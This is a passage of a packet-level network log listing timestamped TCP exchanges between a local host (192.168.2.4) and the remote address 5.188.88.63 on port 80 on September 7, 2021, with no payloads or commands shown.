Sep 7, 2021 16:02:56.289710999 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.289724112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.289748907 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290141106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290177107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290198088 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290363073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290389061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290412903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290483952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290530920 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290693045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290715933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290761948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290786028 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290791035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290822029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290851116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290864944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290879965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290903091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290924072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290935040 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290946007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290956974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290971994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.290992975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.290997982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291048050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291057110 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.291285038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291320086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291344881 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291363955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.291369915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291398048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291399956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.291423082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291440964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.291450977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291476965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291498899 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.291521072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291546106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.291572094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292315006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292340040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292361021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292361975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292382956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292409897 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292440891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292490959 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292499065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292522907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292552948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292563915 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292577028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292598963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292619944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292628050 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292646885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292665958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292669058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292691946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292711973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292732000 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292732954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292756081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292757034 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292776108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292798996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292807102 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292818069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292843103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292845964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292870045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292887926 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.292895079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.292932034 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.293462992 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.295928955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.295991898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.296058893 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.296878099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.296999931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297053099 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.297089100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297243118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297291994 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.297317982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297818899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297852039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297873974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297895908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297904968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.297918081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297926903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.297944069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297967911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.297998905 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.298026085 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.307671070 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.310092926 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.339099884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.339150906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.339250088 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.351062059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.353871107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.353902102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.353920937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.353940010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.353950977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.354003906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.356699944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356741905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356760979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356781960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356784105 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.356805086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356807947 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.356828928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356853008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356875896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.356878042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356908083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356911898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.356930971 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356949091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356959105 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.356969118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.356992006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357014894 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357023001 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357039928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357050896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357064009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357079983 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357093096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357112885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357130051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357134104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357151031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357165098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357175112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357198954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357211113 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357223034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357245922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357259035 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357273102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357292891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357310057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357311964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357347965 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357384920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357438087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357460976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357472897 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357480049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357500076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357517958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357526064 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357549906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357572079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357573032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357597113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357608080 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357620955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357642889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357656956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357661963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357681036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357697964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357703924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357729912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357749939 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357754946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357779980 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357788086 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357803106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357825994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357845068 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357846022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357866049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357882977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357888937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357914925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357925892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.357938051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.357971907 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.360407114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.360440016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.360490084 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.361742020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.361778021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.361834049 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.361948967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.361975908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362018108 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.362236023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362274885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362298012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362318039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.362324953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362365961 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.362421036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362445116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362483025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362492085 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.362544060 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362567902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.362588882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.373667002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.405411959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.406773090 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.406821012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.418422937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.418462038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.418484926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.418507099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.418519020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.418548107 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.422576904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.422610998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424114943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424138069 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424150944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424177885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424200058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424204111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424226046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424238920 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424253941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424278021 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424278021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424423933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424434900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424459934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424484968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424511909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424530029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424536943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424551964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424561977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424586058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424614906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424640894 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424645901 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424665928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424665928 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424690962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424719095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424736023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424741030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424758911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424768925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424793005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424818993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424841881 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424841881 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424864054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424870968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424896955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424925089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424928904 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424952984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.424971104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.424978018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425003052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425018072 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425029039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425054073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425079107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425093889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425102949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425122976 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425131083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425157070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425174952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425201893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425226927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425235033 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425247908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425270081 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425272942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425299883 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425318003 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425323963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425350904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425386906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425398111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425410986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425435066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425446033 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425462961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425484896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425491095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425514936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425532103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.425540924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.425636053 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.426659107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.426713943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.426814079 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.427778006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.427823067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.427872896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.427880049 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.427917004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.427956104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.427994967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.428005934 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.428045988 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.428165913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.428205013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.428311110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.428318024 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.428352118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.428832054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.428877115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.428903103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.428940058 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.438034058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.438079119 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.438142061 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.449980021 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.471688032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.471714973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.471802950 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.473279953 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.484298944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.484323978 CEST	80	49763	5.188.88.63	192.168.2.4
